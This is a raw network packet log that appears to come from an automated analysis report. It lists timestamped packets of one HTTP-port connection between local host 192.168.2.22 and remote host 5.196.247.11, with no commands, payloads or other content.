Oct 4, 2021 17:00:21.504369974 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504386902 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504394054 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504404068 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504410982 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504420996 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504431009 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504436970 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.504455090 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.504506111 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.505228996 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.528685093 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.528856993 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.554184914 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554223061 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554240942 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554258108 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554275990 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554300070 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554315090 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554337025 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554359913 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554378033 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554394960 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554419041 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554440022 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554456949 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554469109 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.554474115 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554497004 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554518938 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554522038 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.554541111 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554563046 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554579973 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554580927 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.554601908 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554611921 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.554624081 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554645061 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554646969 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.554666996 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554673910 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.554688931 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.554702044 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.554732084 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.556493998 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.578671932 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.578959942 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615016937 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615078926 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615155935 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615195990 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615233898 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615272045 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615299940 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615334034 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615346909 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615370035 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615389109 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615401030 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615416050 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615439892 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615478992 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615490913 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615509987 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615519047 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615536928 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615556002 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615569115 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615593910 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615624905 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615638971 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615642071 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615681887 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615719080 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615719080 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615740061 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615756035 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615772963 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615792990 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615819931 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615828991 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615843058 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615865946 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615890980 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615902901 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615911007 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615947008 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615973949 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.615988016 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.615994930 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.616059065 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.617108107 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.640270948 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.640438080 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.665103912 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665143013 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665169954 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665194988 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665216923 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665240049 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665256977 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665283918 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665307999 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665329933 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.665330887 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665357113 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665380001 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.665381908 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665412903 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665414095 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.665471077 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.665585041 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665611029 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665631056 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665653944 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665662050 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.665708065 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.665708065 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665724039 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665744066 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665766954 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665790081 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665811062 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665819883 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.665824890 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.665838003 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665838957 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.665863037 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.665904999 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.665925026 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.667252064 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.689481974 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.689615011 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.714898109 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.714931965 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.714958906 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.714986086 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715010881 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715035915 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715059996 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715087891 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715110064 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715131998 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715137005 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715142012 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715162992 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715189934 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715200901 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715219975 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715220928 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715224981 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715244055 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715260983 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715295076 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715476990 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715503931 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715527058 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715549946 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715575933 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715590000 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715599060 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715606928 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715617895 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715639114 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715656042 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715663910 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715682030 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715689898 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715756893 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715775013 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715787888 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715818882 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.715853930 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.715884924 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.717428923 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.739161968 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.739301920 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.743395090 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743424892 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743451118 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743474007 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743498087 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743506908 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.743520975 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743534088 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.743539095 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743540049 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.743561983 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743566990 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.743571043 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.743580103 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743591070 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743602991 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743613958 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.743619919 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.743659973 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.745057106 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.745076895 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.763214111 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.763433933 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.765610933 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.765649080 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.765667915 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.765688896 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.765708923 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.765736103 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.765757084 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.765815973 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.766007900 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.766036034 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.766060114 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.766083002 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.766097069 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.766107082 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.766123056 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.766129017 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.766149044 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.766175032 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.767370939 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.787365913 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.787518978 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.793488979 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793519974 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793538094 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793557882 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793576002 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793597937 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793612957 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.793621063 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793638945 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.793642044 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793662071 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793677092 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.793679953 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793698072 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793715954 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.793724060 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.793746948 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.793772936 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.795613050 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.811448097 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.811635017 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.815692902 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815722942 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815745115 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815762043 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815781116 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815800905 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815819025 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815840960 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815865993 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.815870047 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815891027 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815907001 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815922976 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815943003 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815957069 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815972090 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815989971 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.815990925 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.815996885 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.816009998 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.816019058 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.816031933 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.816031933 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.816051960 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.816066027 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.816075087 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.816096067 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.816104889 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.816123009 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.816131115 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.816144943 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.816154003 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.816168070 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.816178083 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.816204071 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.817708969 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.835607052 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.835705996 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.865649939 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865683079 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865695953 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865712881 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865730047 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865745068 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865756989 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865768909 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865780115 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.865786076 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865802050 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865811110 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.865819931 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865830898 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.865837097 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865853071 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865864992 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865868092 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.865880966 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865895987 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865897894 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.865911007 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865926027 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865932941 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.865952969 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865964890 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.865972042 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865991116 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.865997076 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.866019964 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.866024971 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.866035938 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.866049051 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.866063118 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.866072893 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.866101027 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.868074894 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.890312910 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.890469074 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893601894 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.893625021 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.893641949 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.893657923 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.893666983 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893675089 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.893688917 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893696070 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893696070 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:00:21.893698931 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893702984 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:00:21.893713951 CEST	80	49166	5.196.247.11	192.168.2.22
